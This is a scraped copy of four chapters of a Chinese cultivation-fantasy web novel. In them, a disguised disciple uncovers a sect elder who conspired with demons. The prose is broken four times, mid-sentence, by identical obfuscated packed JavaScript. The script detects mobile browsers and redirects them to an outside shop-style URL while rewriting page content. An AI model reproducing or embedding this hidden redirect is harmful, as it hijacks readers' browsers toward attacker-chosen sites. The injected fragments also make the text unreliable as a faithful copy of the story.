虽然寒砚的传音没有发出去,但是其他弟子又不是傻子,出事的第一时间就给长辈传音求助。 裴初弦距仰止峰最近,因此虽不是第一个接到消息,却是第一个赶到的人。 到了之后发现,塔外聚集了一众 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888591|192129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 或熟悉或陌生的弟子。 她一问才知,原来是浮生仙宗有个弟子胆大包天要去净化化神大妖,结果却导致其苏醒入魔。 裴初弦一身繁复的大红宫装,像团燃烧的火焰,而听到这个荒谬的起因后,她眼睛里也燃着怒火。 当即拔剑出鞘,势必要替浮生仙宗清理门户。 而裴涣清点完弟子,一抬头就见她要动手,赶紧上前压住她的手,“长老,小师叔没出来,另外道宗、仙宗以及禅宗也有几个弟子没出来。” 正怒气上头的裴初弦:“?” 她手忙脚乱地掏出玉简给掌门传音。 她倒是想直接联系君轻离,奈何只有掌门才能跟人联系上。 裴初弦气得要死,哐的声将剑入鞘,“等找到人了我再跟你们算账!”又转头对着剑宗的弟子道:“所有金丹弟子听令,都跟我进去找人!” “是!” 浮生仙宗的长老头疼不已,知道自家弟子竟然惹出这种大事,他同样气得不行,但现在先去把失踪的弟子找到才是正事。 等裴初弦等人进入苍穹塔,到了八十八层的时候,跟在她身后的弟子们满眼惊恐地看着眼前的一切。 几个长老还算镇定,但微微睁大的眼睛还是透露了他们的情绪。 九尾狐的身躯依旧是裴涣等人之前看到的模样,暗淡的皮毛并没有跟人激战过后很久,唯一不同的是,它心脏处破了个大洞,里面空荡荡的,少了颗妖丹。 不幸中的万幸,它的胸膛还在微微起伏,被动手的人好心地留了口气。 裴初弦在九尾狐身前蹲下,指甲上染着丹蔻的手落在其伤口上方,良久,精致细长的眉皱起。 “身上没有魔气。” 去这层其他地方寻找弟子的天元道宗长老回来,说:“这层没有弟子,其他妖也都好好在房里待着,看样子是九尾狐刚下楼就被挖走了内丹。” 妖族的修为都在内丹,这只九尾狐被人以如此惨烈的方式重创,基本已经失去了行动能力。 “不错。” 裴初弦点头,“它伤口残留的力量很诡异,我看不出是什么。” 她退后,将地方让给其他人,转身给无暇来此的掌门传音,“出手的人最多用了两招,这只九尾狐被关进苍穹塔前实力不弱,出手的人起码是合体及以上。” 浮华界境界在合体以上的都是有名有姓的修士,只要这人不是什么隐世大能,要查总能查到。 剑宗合体以上都在别处,另外三大宗门来此的都是化神长老,这个在苍穹塔出手的人很难不让人在意。 裴初弦拍了拍手,面色凝重:“兹事体大,此事暂且搁置,等回去告知掌门,现在先找失踪的弟子。” “是。” 18. 第18章 闻秋是执法堂的一名金丹初期的弟子,勤勉爱笑,在内门人缘不错,和那位看似平易近人,实则极难接近的小师叔认识多年也没说过几句话。 感受到来自化神妖族的威压时,所有弟子都自觉向塔外撤离,以免留下断后的师兄师姐添麻烦。 而她注意到寒砚在往上走。 “小师叔!” 闻秋小跑过去拉住她的手,“别上去,这太危险了!” 在她的记忆中,很少看到寒砚出手,即便这次和越江的对决证明了寒砚并未表面的病弱,但十几年的刻板印象,让闻秋下意识地想将人护在身后。 这一层的人越来越少,直到只剩下她和寒砚。 寒砚回首,“我身为师叔,怎可看着他们陷入危机。” 闻秋想说,化神期的妖你去也不管用啊。 但怕伤到小师叔的自尊,她委婉道:“现在帮忙最好的方式就是通知长老,对了小师叔你要是可以联系上仙君的话那自然最好。” 以仙君的修为若是知道此处情况,眨眼间就能到。 寒砚遗憾摇头,“抱歉。” 闻秋没觉得失望,仙君于他们,那是天上仙人般的存在,她道:“既然如此,那我们就先出塔,你要是出了什么意外,我师尊会打死我。” 她做出可怜兮兮的表情,手上想拉寒砚走,却没拉动,又急又担心。 “闻师侄,我不能跟你走。” 今日穿了身洁白衣裙的小师叔言笑晏晏,口中说着闻秋听不懂的话。 闻秋忽而一阵头晕目眩。 说实话,寒砚不是闻秋见过的最好看的女子,但却是最让她记忆深刻的修士。 明明修为不高,身体还格外孱弱,笑起来像冬日的暖阳,乍一看明媚纯粹,但又似深渊上的浮冰,叫人心惊肉跳。 因为某些原因,他们闻家人生来就对危险有着极为敏锐的感知,故此她从不会主动靠近寒砚。 来自化神妖族的威压越来越盛,这意味着那只逃出来的妖可能正在靠近,闻秋急得快哭出来了。 被她拽着的小师叔只是歪了歪脑袋,似乎不明白她为什么不自己走,一定要拉着她。 小师叔叹了口气,好似家中宽和的长辈,无奈地看着孩子闹腾。 “我还有正事要做哦,劳烦你先休息一下了……” 她尾音上扬,稍显灵动俏皮,说出来的话却叫闻秋一怔,刚想问此话何意,突然脖颈一痛。 等闻秋再度醒来时,面前就围了一堆人。 闻秋茫然抬起头,长老们见她醒来,都努力挤出个和蔼可亲的微笑。 裴初弦怜爱地拍了拍疑似被吓傻的弟子,“小秋啊,怎么好端端的晕在这里?” 她对这丫头有点印象,性子内敛不爱说话但挺勤勉乖巧。 裴涣上前问:“闻师妹有看见小师叔吗?” 闻秋回过神,有点紧张,不知道该不该说自己昏迷前的所见所闻。 所以……是小师叔把她弄晕的吗?她要去做什么? 闻秋挣扎了几秒,决定还是实话实说,不管小师叔是要去做什么危险的事情,还是说要对剑宗不利,她都有必要告知师长。 她张开嘴,然而说出来的话却让她瞪大了眼睛。 “我看见了……她、她被人带走了,黑袍人……打晕了我们。” 闻秋说得磕磕绊绊,但不妨碍他们听懂她想表达的意思。 很快,她说话就流畅起来。 “小师叔说,自己是仙君弟子,黑衣人似乎并不认识她……他当时想杀我,小师叔阻止了他,然后、然后就被带走了……” 她在胡言乱语些什么…… 闻秋想要扼住自己的喉咙,但惊恐地发现自己没有办法控制自己的身体。 她想要告诉长老们自己所言并非真,希冀他们可以看出端倪。 闻秋并不知道,在旁人视角,她的表情和动作都十分正常,即便说话吞吞吐吐,也只当她被当时的突发状况吓到。 实际上此刻的她,完全是一个被人操控的木偶。 恐惧带来了巨大的晕眩,但这次,她清晰地感知到,自己的心跳十分平静。 闻秋这番话让在场的人都陷入深思,尤其是剑宗的人。 他们都知道剑宗出了奸细,但这个奸细是谁,却没有半点头绪。 裴初弦面带微笑,带着审视的目光扫过在场的所有人,苍穹塔一事没有刻意封锁,但其他仙门的反应让人很难不多想。 人心叵测啊,谁知道面前的生物是人是鬼。 裴初弦确认闻秋没有撒谎后,掐断了和掌门的传音。 “兹事体大,先找到其他失踪的弟子。” …… 寒砚站在第九十九层中央。 她不是守塔人,没有办法开启进入天炁境的通道。 检查了遍四周后,没有发现什么异样。 “你想要找什么?上次没找到蛭妖的妖丹,你打算继续找?”见她身边没人,师无故爬出袖子透气。 她指尖拂过墙壁,眼神沉思,“蛭妖被关进苍穹塔不过是书上记载了一笔,谁知是真是假,再说了,我现在也用不上。” 按理说,傀儡应该最懂主人,可师无故完全不能理解她的想法。 他不解问:“你把那些妖放出来,还打晕了好些弟子,也不怕他们出事?” 寒砚同样不明白,他怎么话这么多,“修行一途本就与天争命,九尾狐妖丹都没了还不能应付,那还争什么?不如趁早下山等死。” 师无故感叹:“你可真是冷血,对自己人都下手。” 寒砚不乐意听,直接将他塞回袖子。 师无故:“!” 既然没法自己开门,那么寒砚只能像上次一样,神识连接上苍穹塔,试图呼唤那个所谓的塔灵。 “不在?我自己去天炁境,可就不知道会做出点什么了哦。” 黑气从寒砚身后溢出并不断扩散,最终形成个庞大的领域将九十九层包裹,保证动静再大也不会被下方的人注意到。 停云弓出现在她手中,被注入灵气,闪电般的弓弦出现。 那双剔透的杏眼中,血色渐浓。 “你又威胁我!” 气急败坏的小孩凭空出现,抱住她的小腿,“你不准乱来!我带你去还不行吗!” 寒砚收起弓,蹲下对小孩笑,“我还治不了你?早出来多好。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888592|192129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小孩虽然不乐意,但还是抬手打开通道,率先走在前面。 想到什么,他回头,一本正经道:“不准叫我小屁孩,我有名字,我叫太苍,你可以叫我太苍大人。” 寒砚见他一个小娃娃做出这种表情,莫名觉得好笑,捏了下他的脸颊,“行啊,太苍大人,以后还请您多多关照。” 太苍睁大了眼睛,水汪汪的黑眸不可思议地看着她,白嫩嫩的小脸腾得爆红。 寒砚咦了声,“不至于吧……瞧你这幅没见过人的样子,啧啧。” 太苍一个激灵,脸上的红色淡去,唰地转过身,不想搭理寒砚。 出了通道,迎面而来的是轻柔的海风,海水蓝得发黑,多看几眼便会叫人心悸。 上次寒砚的注意力都在君轻离和龙的身上,倒是没有注意这些无关紧要的细节。 黑海之下是无数凶兽骸骨,看起来并没有什么危险。 太苍似乎看出在她在想什么,“你以为它们都已经死了吗?” 寒砚:“难道不是?” 太苍绷着张包子脸,“当然不是。” “也不对,它们作为凶兽已经死了,但是作为冥魔却依然活着。凶兽的尸骨浸透了魔神怨气,重新活过来后相互蚕食,最终活下来的生物被称为冥魔。可以说,这些东西一旦全部跑出去,整个浮华界都要因此覆灭。” 寒砚对他的话半信半疑。 别以为他像个小孩,她就会轻信他的话,她不会看轻任何一个看似弱小的生物。 太苍看出了她的质疑,并不在意,继续道:“你以为为什么那条龙要引冥河水淹它们?你既然看到了它的记忆,那么就应该知道我所说非假。当初神域崩坏,洛水神女陨落于冥河之中,河水中有她的神力,才能够让这些冥魔安分沉睡。” “神魔同源,神不会被杀死,魔也是,沾染了魔气的这些冥魔同样。” 寒砚听他说着,手上掐了个避水诀,进入海中。 沉睡在海底的尸骨之上覆了层灰色的尘埃,她伸手去碰,游在她身边的太苍想要喝止,但迟了一步。 指尖落到森白的骨头上,一股深入灵魂的冷意直上天灵盖。 寒砚手指蜷缩,察觉到他刚才想阻止她的动作,“你刚想说什么?” 太苍却似乎不敢相信自己双眼所见,他围绕着寒砚游了一圈,“你……竟然没事?” “你为什么觉得我会有事?” 她指尖捻了捻,目光探究,唇畔的笑逐渐危险。 太苍默默离她远了点,“我不是说了吗,冥魔身上有魔气,这些灰尘存在的时间太久,多多少少也受到影响……这些可不是现在浮华界的魔气。” 寒砚眼帘垂下,神识内视,并未发现异常,灵魂上也并未感到不妥。 她问太苍:“好像对我没什么影响,为什么?” 太苍见她并没有发作的前兆,犹犹豫豫地又靠过来,“你问我?” 寒砚瞥了他一眼,又垂首打量指尖上的尘土,“这里还有别人?” “你衣袖里不是还藏了个魔吗?” 衣袖中,师无故突然紧张。 寒砚手上动作一顿,缓慢抬头,目光晦涩。 19. 第19章 太苍察觉到不妙,转身就想跑。 但是寒砚有苍穹塔的部分控制权,直接提前一步封锁他的逃跑路线,抓住他胳膊,冷笑:“小家伙,有些东西心知肚明就好,何必说出口呢?” 太苍讪笑:“你别生气……” 寒砚将他拎了起来,“你不是塔灵吧。” 见他想辩解,她打断他的话,“别想糊弄我,我对你是什么东西不感兴趣,你也别想探查太多。对了,别想跑哦,说不准后面还有需要你帮忙的。” 太苍在她手上不断挣扎,最终挣脱失败,气鼓鼓地抱着自己的小胳膊。 “哗啦。” 平静海面一阵波动,寒砚破水而出。 她撤去避水诀,飞身往上,不断逼近塔顶。 越往上,来自天道的压制越大。 太苍被她提溜着,注意到她的呼吸变化,一抬头便看见寒砚脸色煞白,额头沁出冷汗。 “你到底想找什么?” 她没再笑,而是以一种极为认真的语气道:“我想找到真相。” 不出意外的话,这里应该是整个浮华界中最接近天道的地方。 苍穹塔顶,中心的位置镶嵌着一颗拳头大的珠子,光芒温和皎洁,灵气纯净,寒砚神识一扫,却在上面发现了残留的些许魔气,以及君轻离的剑气。 她皱起眉,将那一缕魔气引至掌心。 太苍咦了声,小脑袋探过来,“如果不是你莫名其妙跑过来,我竟然都还没注意。这是来自魔种的魔气,某种程度上来说,和下方冥魔身上的同源。” 同时,师无故的声音在寒砚脑海中响起,“魔种仅存在于魔渊,千万年才能从魔气中孕育出一枚,是世间最纯粹强大的魔气。” 他的声音透着几分微妙,似乎在震惊魔界的人竟然把魔种拿了出来。 真的是……自寻死路啊。 寒砚并未在书上见过魔种的相关记载。 不过听太苍所说,冥魔实力强大,这魔气竟然能够将尸骨化为冥魔,足见其可怕。 珠子被结界护着,寒砚尝试伸手,太苍看了她一眼,没说什么。 她的指尖却穿过结界,入手是带着暖意的微风,亲昵地蹭过她的手指。 寒砚诧异地睁大眼,刚想问太苍,手下的珠子突然爆发出极为强烈的白光。 好在持续时间不久,寒砚恍惚睁开眼。 “你看到了什么?”太苍好奇问。 寒砚怔怔道:“它把答案告诉我了。” 太苍:“?” 什么答案? “我先走了,不用送。” 虽然不知道怎么进入天炁境,但是怎么出去她还是知道的,撤掉设在九十九层的领域后,她避开所有人,直奔剑宗后山。 寒砚有预感,她将会在这里找到一些信息。 后山是剑宗三位太上长老闭关之地。 寒砚在剑宗这十五年也不是白待的,所有人都认识不现实,但却知道个七七八八。 以她对这些人的了解,他们没那个实力和心性敢和魔界合作,也没那个脑子布下这么一场企图覆灭整个剑宗的局。 当然,寒砚不是人肚子的蛔虫,不敢打包票说谁有问题谁没问题。 不过她方才于塔中所见的画面,让她肯定了自己的猜测。 追上去的龙魂没能留下对方,但喷出的龙息打落了对方的兜帽,露出张她全然陌生的脸。 做个排除法,剑宗的全部长老中,也就仅有在后山闭关的三位她不曾见过。 …… 闻秋未曾想自己是在这样的场景下,见到这位传说中的仙君。 果真是神仙般的人物,一点架子都没有,原本忐忑不安的心情一下子平复下来。 君轻离收到传音后赶来,问了她几句。 闻秋想说实话,但有心无力,只能重复遍之前的说法。 青衣长发的仙君眉头微蹙,眼底划过担忧,却没有半分怀疑。 盼着被仙君发现任何端倪的闻秋:“……” 君轻离眨眼间就来到苍穹塔的最高层。 他走进去,四处检查了遍,并未发现异常,想到之前发生过的事情,又进入到天炁境中。 空荡荡的海面没有任何活物的气息,更没有他想要找的人。 君轻离犹豫片刻,离开苍穹塔,到了仰止峰的上空。 下一秒,磅礴神识铺开,几乎覆盖无妄剑宗的每一寸土地。 所有在剑宗的生灵,都在此时感受到了来自渡劫修士的压迫感。 除了寒砚。 她已经到了后山,这里的结界是三位太上长老所设,能够隔绝一切窥探。 后山不是一座山,而是一片的山,剑宗的三位老祖宗便在此地,不知哪一处洞天宝地闭关。 寒砚一踏入此地界,令人身心舒畅的灵气扑面而来,不由 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888593|192129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 感慨,他们竟能在这种贫瘠之地找到灵气如此充沛的地方。 就是不知道,受到这份厚待的人对不对得起剑宗的人了。 就她所知,这三位长老并非都出自剑宗,有一位是招的客卿长老,因为庇护剑宗千年,劳苦功高,一同被奉为太上长老。 寒砚意念一动,黑气将自己的身体包裹,双眸化为血色,像个来自地狱的鬼魅。 她双指一并,操控黑气向四周而去,所过之地,草木摇曳萎靡。 这一举动,对于此地闭关的三位长老来说可谓极为冒犯。 不过寒砚要的,就是他们主动来自己。 “何人在此放肆?” 伴随着一声怒喝,数不清的强大剑意将她包围,看架势似要将她戳成筛子。 寒砚站在原地,黑气如有意识,霎时从地面窜出,将剑意全部搅碎。 突然出现在半空的青年目光惊惧地看着眼前的一切,还未回过神,黑气朝他而去,一个闪躲不及,被逼着落回地面。 寒砚满意点头,她不喜欢有人居高临下地看她。 她压低了嗓子,刻意改变声线,开口后的声音有种空洞荒芜的缥缈。 “那三个老家伙呢?” 青年:“?” 怎么擅闯别人的地盘还莫名其妙骂人的? 他喝道:“放肆!” 寒砚没打算跟他废话,不说就打到说为止。 漫天黑色降临,日光被尽数遮掩,青年呼吸一乱,察觉到不妙想要离开,突然一股阴冷袭上心头。 他被寒砚掐住脖子,狠狠地掼在地上,脸被压得扭曲变形。 接触到对方的身体,寒砚才发现这人竟然是分身,体内只有一小半的神魂。 三位太上长老中谁的分身? 寒砚膝盖抵着他的腹部,恶声恶气威胁:“带我去找人,不然直接杀了你。” 和君轻离不同,一般修士的分身为半身,继承本体的五成力量,一旦损毁,本体也会遭到重创。 以三位老祖宗的年纪,突逢此劫导致修为倒退,怕是除了飞升这一条路,撑不了多久。 寒砚虽自认不是什么好人,但还没到滥杀无辜的地步。 所以这人不想死的话,就该老实听她的话。 她直接封住了对方的修为,揪着他的衣领把人提起来。 青年怒视她,敢怒不敢言。 “带路。” 20. 第20章 青年不想死,分身不想死,本体更不想死。 他修行了大半辈子可不是为了折在这种莫名其妙的地方的。 这个不知从哪儿冒出来的家伙着实古怪,不是魔也不是妖,诡异得也不像个人。 不过,他们三位合体期可不是吃素的。 越往里走,灵气越浓郁。 青年带着寒砚在一处悬崖停下,半空中盘旋着一个又一个阵法,以及合体期之下禁飞的结界。 冷风呼啸,寒砚凝神看过去,并未发现他们闭关所在,她推了下青年,“叫他们出来。” 青年憋屈闭上眼,缓了缓胸口郁气,耗尽仅剩的灵力发出传音。 对面山崖的空气传来波动,寒砚用黑气将人捆住扔到后方,又掏出袖子里的木偶扔过去,“看住他。” 师无故忍气吞声落到青年身上。 寒砚御气飞起,双手落到妨碍她的结界上。 金色符文在她手下流淌,极为耀眼。 估算了下自己主动破开结界所需要消耗的力量,寒砚果断决定等人出现。 三位太上长老从闭关中被强行唤醒,一出洞府就看到这一场景。 漂浮在半空的大团黑气,看不出是何力量,但那气息一眼非善类,险些叫人以为是魔族打进无妄剑宗,甚至还追到了后山。 寒砚身形一晃,猝不及防朝他们出手。 滔天黑气如浪倾覆,形成遮天蔽日般的领域,寒砚藏身在其中,时隐时现,如鬼魅一般闪现至三人身后。 荣长老,也就是分身的本体。 他已失半数修为,不敢和寒砚硬碰硬,连忙退到后方,不给同伴添乱,叮嘱道:“这人诡异,切记小心。” 另外一男一女两位长老点头,同样神色严肃。 他们也发现了自己无法看穿那一团黑气。 后山地广人稀,再加上寒砚布置的领域隔绝,再大的动静也难以惊动宗门内的人。 最开始,两位长老都存了几分试探,都还算收敛,但寒砚动手可不会客气。 她无意要他们的命,但打残不也照样活着。 寒砚一个人对上两个全盛时期的合体修士,身上压力不小。 黑气在她手上化出一把长戟,她单手挥起,招式大开大合,黑气几乎是擦着两位长老的命脉而过。 不好,冲他们命来的! 对方逐渐打出了火气,出剑不再含蓄,爆发出恐怖的剑势,招招致命。 师无故守着分身,偶尔留心一下这边的动静,然后带着人挪得远远的,心中对寒砚愈发敬畏。 浮华界什么时候不声不响的,出了个这么可怕的人物。 面对两位宗门的老祖宗,寒砚可以说是步步紧逼。 人在生死关头难免会暴露本性,她现在就是要逼他们动用底牌。 寒砚目光一沉,手腕发力,戟身横劈过去,不经意间泄露出一丝魔气。 同时注意到这缕魔气的三人脸色大变。 “不知阁下与我等有何仇怨?阁下修为不凡,何须隐藏真容,还请让我等做个明白鬼。”荣长老没再继续躲在后方,而是往前一步,拱手弯腰语气诚恳。 黑气撞在两位长老手中的剑上,震得人胸腔一痛,血腥味涌上喉间,两位长老疾速后退,身形狼狈地落在荣长老身侧,脊背却依旧挺得笔直,毫不畏惧地看向寒砚。 寒砚觉得这两人就差大喊一声“魔头受死”。 身穿灰色衣袍的向长老模样沧桑,表面上还算沉得住气,但眼底怒火已然喷薄欲出。 他怒斥:“我等剑修,与天争命!岂能随意向这等藏头露尾之人屈服!” 能够位列大仙门太上长老的,谁还不是个天之骄子了?他们立于修真界巅峰多年,每个人都有自己的傲气。 如今要他向疑似魔族的人低头,这无疑于折断他的骨头。 在场唯一的女性长老看上去不到三十,作女冠打扮。 她和另外两个人不同,她是上一位剑宗宗主,当今逍云掌门的师尊,自然知道剑宗如今平安无事。 她比向长老冷静,说出的话却不曾后退半分,“阁下如此小人行径,我剑宗只要在这世上还有一人尚存,必将追杀你至天涯海角。” 寒砚:“……” 啊…… 好像有点玩大发了? 荣长老欲言又止,还不待他说什么,向、晋二位长老极有默契地朝寒砚动手。 密密麻麻的剑气削落两侧的山石,织成铺天盖地的剑网,无声却摄人。山石滚滚而下,被剑气削成碎渣,形如无数小剑飞来。 “哐——” 然而合体期的剑气竟依然无法撕开这黑气! 两人一左一右,牵制寒砚。 晋长老大喊:“老荣,动手!” 他们远比寒砚想的要默契十足。 看似向她低头的荣长老闻声,动作毫不犹豫,他的修为在短短瞬息间不断攀升,一直到合体圆满,但气息略显虚浮,显然是用外物强行提升。 看来并非师无故那边出了差错。 寒砚因此反应慢了半拍,荣长老这一剑终究是刺入了黑气中。 另外两人眼睛一亮,成功了? “……” “想要活下去?” “那就告诉我……你们内心最深处的秘密吧。” 她不再刻意改变自己的声线,少女空灵的嗓音充满蛊惑。 唰—— 寒砚身上的黑气爆发开来,极致的安静中似乎响起血肉撕裂的声音。 在伸手不见五指的黑暗中,三位长老表情变得呆滞,语气丝毫不见起伏地回道:“……想。” 世间修行神识的人本就少之又少,能够将其作为攻击手段的更是万里挑一。 他们被她的模样吸引了注意力,不曾注意到她在领域之内布下的陷阱,又偷袭得了手,紧绷的神经陡然松懈,如今正是精神薄弱之时。 无形的神识从寒砚身上延伸,压制住三人的意识。 但合体期就是合体期,没那么好对付。 寒砚脸上最后一丝血色消失,带着些颤抖的手在身前抬起,掐诀,展开的领域缩小,直至刚好能够将三人困住。 三人眼里彻底失去光芒,身体僵硬后倒,又被寒砚操控着悬浮在空中。 寒砚的手落在离她最近的荣长老头上,没有直接碰到,指尖亮起灵光,她打算直接搜魂。 合体期修士神魂坚固 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888594|192129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,不至于像低阶修士那般直接变成傻子。 当然,也不会好受就是了。 而且她的力量特殊,兴许还会有别的负面影响,具体的她也不清楚。 哎呀,她也是迫不得已的嘛,要怪就怪那个藏在他们三人中的内应好了。 寒砚双指一并,毫无心理负担地驱使黑气进入其识海。 修士的识海极其隐私脆弱,多设有重重防护,就在寒砚快要破开最后一层防御时,原本还双眼无神的荣长老睁开眼睛,眼底精光迸发,抬手拍向寒砚天灵盖。 同时寒砚脑海中响起师无故压着怒火的声音。 “不好!那家伙阴我,你自己小心……” 荣长老身上的修为气息还在往上攀升,在渡劫初期稳定下来,暴涨的灵力撕开了她头顶的黑气。 锋利的剑气从额头划下直到下巴,在少女白皙的脸庞上留下一道狰狞的伤口,除此之外,还有其他不知为何所伤的血痕。 她看上去不过十来岁,脸上还有尚未完全褪去的婴儿肥,血红的眼睛因惊讶瞪大,但却未有半点慌乱和恐惧。 荣长老没时间去震惊,他凭空一抓,一把一人高的重剑出现在手中,以劈山裂海之势砍来! 寒砚没躲,这样快的速度她也躲不开。 黑气在她身上再度汇聚,形成厚厚的茧,重剑落下,哐当一声,肉眼可见地变薄不少。 荣长老顿时心里发毛,这究竟是个什么怪物?! 他不敢和寒砚当面交手,见没有伤到她,当机立断瞬移到几十米开外。 “你这黑气究竟是什么东西?天外邪魔?”荣长老自问见多识广,细数自己这一生,唯一不曾见过的,也不过仅存于传说中的天外之物。 君轻离都辨认不出的东西,他自然也认不出。 荣长老没觉得对方会告诉自己,手上剑锋翻转,重剑斩破虚空,再度朝寒砚杀去。 寒砚皱了下眉,本来一刻钟就能解决的事情,非要一直拖…… 长戟与重剑激烈碰撞,即便是渡劫初期的荣长老依旧被寒砚压着打。 荣长老越来越心惊胆战,最后恶从胆边生。 微不可察的魔气化作细过发丝的线,完全隐匿在黑色中,从脚下游走,无声窜进寒砚的身体。 寒砚手中的长戟穿过他的肩膀,将其挑飞。 荣长老忍痛,但不免松了口气,只要等魔气生效…… 一旦生效,她为魔种魔气所控,便只能是他手中兵刃! 寒砚见他表情就知他在想什么,瞬间到了他面前,撤掉隐藏自己的黑气,蹲下身摊开手。 “你瞧,这是什么。” 素白的掌心之上,两缕魔气纠缠着融为一体。 少女恶劣的声音让荣长老一阵晕眩。 怎么会……怎么会! 荣长老眼睛爬上血丝,明明恨极,还是努力用平和冷静的语气开口:“若尊者愿意饶我一命,在下愿为尊者效犬马之劳。” 浮华界的渡劫期修士两只手都数得过来,有这样的人做手下,荣长老赌她不会拒绝。 不过面前少女的实力深不可测,荣长老也不敢打包票。 寒砚停下动作,像是被他的说辞打动。 21. 第21章 荣长老心中一喜,不免生出几分轻视,待他今日躲过这一劫,来日必叫她百倍奉还! 然而他这口气只松到一半,寒砚一脚踹到他心口,将人踹飞出去,砸到对面山崖上,掉下来在地上砸出个人形深坑。 寒砚跃身落下,掐着人脖子提起来,微笑道:“和我讲条件?你也配?” 荣长老终于控制不住咳出一口血。 之前寒砚有所顾忌,出手还算留有余地,如今确定了人选,可就不会像之前一样手下留情。 她五指成爪,黑气从掌心冒出。 荣长老想起在魔界见过的,被魔气强行灌体之人的惨状,不由面色大变,竟不顾自己一身修为,想要分离神魂和躯体逃跑。 修真界的人,无论走的什么道,都极少有人会主动堕魔。 失去心智,手染血腥,不是陨落在天劫之下,就是根本活不到天罚之时。 寒砚眼疾手快,抓住他分离到一半的神魂塞回去,又废掉对方的丹田和经脉。 要不是怕人死了,废掉他的修为当然最好。 不过……此人并非合体期,而是实打实的渡劫期,其他两位长老也完全没发现么? “苍穹塔的魔种是你放进去的吧?” 荣长老痛到浑身痉挛,身上衣衫被冷汗打湿,声音颤抖道:“你是魔界的人?我与魔尊有故,你这么对我,他不会放过你的!” 都知道魔尊出世了,八成就没错了。 寒砚踩着他丹田处的脚一个用力,“你从谁手中得到的魔种?” 镜修竹再厉害也出不了禁地,莫非是当天那个女魔修?又或者是其他的叛徒,他的同伙? 寒砚倾向于后者。 荣长老养尊处优多年,如今身受重伤,还要忍受神魂被强行分裂的痛,几乎意识都不再清醒。 他实在难以接受,自己可能会如低贱的凡人一样死去。 他开始感到恐惧,因为眼前这个不知道是什么的东西完全软硬不吃,也真的会杀死他。 “是……一个小妖、桃花妖……呃,别杀我……” 妖? 寒砚凝眉。 “藏在剑宗?” 生死关头,荣长老格外敏锐,察觉到什么,顿时一个激灵,清醒了几分。 “你不是魔界的人,你是仙门……” 寒砚笑了笑,算是承认了他的话,“不错啊,这么快就反应过来了。” 她声音转变得空灵,“告诉我,为什么要联合魔界背叛剑宗?我向天道发誓,只要你所言属实,我留你一条命,如有违背,不得好死。” 为了表示诚意,她挪开了踩在他身上的脚。 天道誓言不可违背,荣长老勉强信了她的话。 事实上,他现在除了相信别无选择。 他沉默半晌,眼睛直直望着天空,“看你的样子应该还不知道吧,也是,除了仙君和魔尊这两个最接近天地法则的人,本来这世间所有人都不该知道的。” “或许你很难想象,听了我的话后也很难接受,但真相就是如此——浮华界存在不了多久。你应该也是渡劫期吧,难道没发现浮华界的灵气正在流失吗?比之万年前,修士们越来越难以进阶,甚至无法飞升,等到世界毁灭,所有人都会跟着陪葬。” 他的身体开始疯狂颤抖,脸色变得青白。 “……天道在自救,为何却不允许众生自救?祂只让那两个人知道,镜修竹不会在意我们的命,君轻离又不懂变通,凭什么……我们也是浮华界的生灵啊!天道不公,我们要自己去寻求一条生路、一条新的飞升路有何不可?” 突然间,荣长老眼珠子瞪得老大,已经被她折断的手掐住自己的脖子,一边翻白眼一边口吐白沫。 寒砚一愣。 她去掰他的手,发现对方一时间力气大得惊人。 “是神罚……谁也无法飞升……神魔死了,所有人都……会死……” 他断断续续地说着,到最后声音小到如果寒砚不是修士都无法听清。 寒砚担心他把自己搞死了,只好将人打晕过去。 不出她所料,荣长老晕过去后,那股诡异的力量跟着消失,和来时一样没有预兆。 寒砚抬头望天,杏眼微微眯起。 天空雷声乍响,像是提醒,又像是警告。 她垂下头,在乾坤袋中掏了掏,抓住个小木偶,做工比起给师无故用的明显粗糙许多。 正要将荣长老的神魂抽出来塞到木偶里面,然后毁尸灭迹时,她猛地抬头。 熟悉的气息,夹杂着冰雪般的凉意,正在不断往这方逼近。 不禁嘀咕,“来得还挺快……” 不对,是她动作太慢了。 